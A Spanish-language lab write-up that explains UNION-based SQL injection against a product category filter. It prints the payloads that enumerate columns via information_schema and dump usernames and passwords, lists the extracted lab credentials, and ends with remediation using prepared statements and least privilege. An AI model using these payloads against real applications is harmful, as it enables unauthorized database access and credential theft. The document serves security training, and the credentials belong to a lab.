← Writeups

UNION-based SQLi: enumeración de tablas y columnas vía information_schema (no-Oracle)

Enumeración completa del esquema con UNION-based SQLi en el filtro de categoría: information_schema.columns para descubrir la tabla users y extraer credenciales.

1. Target Overview & Vulnerability Summary

El filtro de categoría de producto (/filter?category=...) es inyectable y refleja los resultados de la consulta en la respuesta, permitiendo un ataque UNION-based para recuperar datos de otras tablas. El objetivo es descubrir el nombre de la tabla que almacena usuarios/credenciales y sus columnas, y drenar su contenido.

Severidad Endpoint vulnerable Root cause
High GET /filter?category=... Concatenación del parámetro category en la cláusula WHERE; los resultados se reflejan en la respuesta, habilitando UNION

2. Technical Breakdown & Exploitation Flow

2.1 Descubrimiento de columnas de la tabla de usuarios

La query original devuelve 2 columnas (misma forma que el lab "retrieving data from other tables"). Consultando information_schema.columns, primero se localiza la tabla users_lgsuyb (nombre aleatorio por instancia) y luego se enumeran sus columnas:

' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users_lgsuyb'-- -

Salida reflejada:

email
username_ipwojh
password_vmjbdd

2.2 Extracción de credenciales

Las columnas de usuario y password se concatenan con || ':' || en una sola columna de salida para maximizar la legibilidad:

' UNION SELECT NULL,username_ipwojh||':'||password_vmjbdd FROM users_lgsuyb-- -

Credenciales drenadas:

carlos:6zhkdtxd391fbmmmsa2d
wiener:k96ds7iqpocuxczboesn
administrator:yuaf9310pfrb9i1eksbd

Con la credencial de administrator se resuelve el lab vía el login.

3. Root Cause Analysis

La query del filtro se construye por interpolación:

SELECT column1, column2 FROM products WHERE category = 'Gifts'

Al no usarse prepared statements, el cierre de comilla del literal permite inyectar UNION SELECT y componer filas arbitrarias que el ORM/framework serializa en el HTML de la lista de productos. El -- - comenta el cierre original del string. La exposición completa de information_schema.columns (accesible al usuario de la app) convierte el esquema en público para el atacante: bastan dos queries para descubrir el nombre aleatorio de tabla, sus columnas y drenarlas.

4. Secure Remediation

Parametrización de la query del filtro:

String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);

Defensa en profundidad:

  • Ejecutar la aplicación con un rol de BD sin acceso de lectura a information_schema.columns ni a tablas fuera del schema de productos (principio de menor privilegio). Esto rompe el paso de enumeración de esquema incluso ante una inyección remanente.
  • No reflejar columnas de usuario en vistas públicas; sanitizar el render si la lista de productos es la única superficie.